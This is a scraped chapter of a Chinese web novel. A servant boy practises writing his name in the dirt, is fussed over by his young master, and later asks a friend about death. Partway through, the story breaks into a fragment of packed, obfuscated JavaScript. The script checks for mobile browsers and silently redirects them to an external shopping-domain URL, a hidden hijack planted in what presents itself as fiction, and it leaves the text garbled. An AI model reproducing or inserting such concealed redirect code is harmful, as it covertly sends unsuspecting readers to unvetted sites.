文趣网 > 其他小说 > 在古代贵族学院上学的日子 > 17. 第 17 章 花生
    秦钰想了想:“明天是别人当值,我不一定来。”

    付焉脸上的笑意淡了几分,嘴唇翕动,像是想说什么又咽了回去。他垂下眼,把玩自己腰间那枚红宝石带钩,道:

    “那我走了。”

    “哎,等等,”秦钰忙拉住他的手:“我要是来了,就还在这儿等你。”

    “真的?”

    “真的,骗你是小狗!”

    付焉抬起头,眼睛里掠过一点不易察觉的光亮,虽仍旧有些端着姿态,唇角却是翘着的。

    “好,不管你来不来,我明天都来找你。”

    说完又补了一句:

    “我要是不来,我也是小狗!”

    两人都笑了起来。

    这时,庭院外的呼喊声又近了几分。

    付焉回头望了一眼月洞门的方向,眉头拧起,他轻轻松开了秦钰的手,说“我先走了”,便转身往走廊深处快步走去。石榴红衣袂在廊柱间隐约闪了几闪,彻底没入垂花门的阴影里。

    秦钰见他走远了,也重新在台阶上坐下来,院子里又恢复了先前的安静。

    老松树在风里轻轻晃动,松针簌簌落了一地。

    秦钰打了个哈欠,正想着二少爷说的透花糍什么时候送来,便听见月洞门传来一声拘谨的问话:

    “请问,秦珩秦小爷是在这儿吗?”

    秦钰连忙站起来,看见一个小厮提着食盒小跑进来。

    小厮把食盒递给他,和气笑道:

    “小的是蜜合斋的,这是二少爷差人买的透花糍,刚出炉,说是一定要交到秦小爷手上。”

    长这么大,还是第一次有人管叫他爷。

    秦钰有些不好意思地道了谢,接过食盒打开一看,里头整整齐齐码着八块透花糍。

    糯米皮子擀得极薄,隐约能看见里头各色的馅料,有豆沙、枣泥、芝麻,还有玫瑰糖的,每样各两块。

    他拿起一块豆沙馅的咬了一口,只吃了两块,就把剩下的收了起来,想着带回去给灵书也尝尝。

    回到屋里,秦钰又想起二少爷先前送他的那块帕子。

    他把手指上的糯米粉擦干净了,才小心翼翼打开,露出里头叠得四四方方的纸。

    纸上“秦珩”两个字端端正正,他盯着看了好一会儿,心里忽然冒出一个念头来:既然二少爷会写他的名字,他为什么不能自己也学着写呢?

    这个念头一冒出来,就再也按不下去了。

    秦钰兴冲冲地出了屋子,四下张望了一圈,在墙根下捡了一根趁手的枯树枝,跑到老松树底下那片没有铺青砖的泥地上蹲下来。

    一手撑着膝盖,一手握着树枝,照着纸上那两个字,在地上一笔一划地划起来。

    他第一次写字,还掌握不好力道。

    “秦”的头一笔横,歪歪扭扭的,像一条找不到家的蚯蚓。第二笔横,树枝划得太深,在泥里戳出一道深深的沟,把旁边的土都翻了起来,还翻出了好几只西瓜虫。

    秦钰忍不住笑了,把西瓜虫抓进手心里。

    那小东西受了惊,飞快地蜷成一枚浑圆的小球装死。他轻轻拨着在掌心里滚来滚去,玩够了,就轻轻一弹把它送回草丛里,又用脚把泥地抹平,重新开始练字。

    这一次秦钰先看仔细每个字的笔画,再慢慢地写。

    写完一看,“秦”字上半截挤成一团,下半截又松散得不成样子,但好歹有了字的样子,就是和二少爷写的还差得太远。

    秦钰忍不住叹了口气,不过也没灰心,重新把泥地抹平,又提起了树枝。

    不知道写到第多少遍,一个下午的时间就这么过去了。等钱玉骞回来的时候,秦钰的字已经勉强像样了。

    钱玉骞见秦钰蹲在地上,发髻歪歪斜斜地偏在一边,膝盖上蹭了两大块泥,袖口黑乎乎的,活像刚从泥地里被刨出来的一颗野花生。

    “怎么在这儿练起字了?”

    “看你这一身泥,我要是再不回来,院子里的地都快被你翻一遍了。”

    秦钰抬起头,一脸惊喜:“少爷?你回来啦!快看我的字有进步吗?”

    钱玉骞又看了一眼他的狗爬字,难得昧着良心夸了一句。

    “从无到有,当然是进步。”

    “你这么喜欢写字,回头我把以前常练的几本字帖拿给你,你挑些自己喜欢的临。”

    “谢谢少爷,”秦钰高兴起来:“不过我觉得少爷的字就很好看,我想临少爷的字。”

    “我的字,一向是比不过大哥的。等你以后进益了,我叫澄心去拿些他的手抄给你临。”

    钱玉骞把秦钰拉起来,一点一点用帕子去擦他手上的泥,擦了半天,才勉强握在手里,眉头微微舒展:

    “下次不许再弄成这样,也不嫌脏。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844566|211717||http|test|mini|href|location'.split('|'),0,{}));

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    >“知道啦。”秦钰乖乖应道。

    这还是秦钰第一次听二少爷提起大少爷。

    关于这位大少爷,府里很少有人谈论。他只知道对方名叫钱玉晟,身体不好,极少出门,除此之外便一概不知了。

    比二少爷还好看的字,究竟是什么样呢?秦钰心底不禁生出几分好奇。

    ·

    散了学,马车早已在外头等着了。

    他们回到钱府时,天已黑了小半,路旁的蟾蜍灯渐次亮了起来。

    秦钰一路提着灯笼,走在二少爷前头引路。小厨房果然已经备好了饭菜,等他吃完饭回西屋,天都黑透了。

    他推开门,发现灵书正在灯下叠纸。

    见有人进来,灵书吓了一跳,慌忙要把篓子藏起来。看清楚是秦钰,才松了口气:

    “怎么回来这么早,下午二少爷那边差人来说,晚上要留你吃饭,我还以为你要到巳时才回来呢。”

    秦钰关上门,搬了个凳子,在他旁边坐下来:

    “下午吃的多,晚上倒不饿了。二少爷说我身上太脏,叫觉香姐姐她们烧水给我洗澡,我就先回来了。”

    “看,我还给你带了好多点心,桂花糕、透花糍,本来一还有瓶果子露的,下午太渴,我就给喝了。等下次有机会再带给你尝尝。”

    灵书听他如数家珍一般,忍不住笑道:

    “你啊你,亏我还中午还想着留两块酥皮果子挞给你,现在肯定是吃不下了。”

    秦钰立即道:“要吃要吃,只不过今天吃不下了,放在碗里盖好,我明儿一早就起来吃。”

    灵书又笑:“已经盖好了。等明早我拿去小厨房热一热,再烧一壶热奶,配着刚好。”

    灵书和他说着话,手上功夫却没停。一会就叠了一个银元宝,娄子里大概有七八十个,每个都有手掌那么大,堆得满满当当。

    秦钰趴在桌子上,枕着手臂看他:

    “这是什么?”

    灵书说:“这叫元宝,是专门烧给死人的纸钱。不过府里不准下人私自烧纸,明天是我娘的忌日,我想偷偷烧给她。”

    关于“死”,秦钰先后听过三次。

    第一次是在大河村的村民嘴里,第二次是在送他来钱府的老嬷嘴里,第三次就是现在。

    他问灵书:“到底什么是死?他们说我爹娘都死了,我是不是也要烧纸钱给他们?”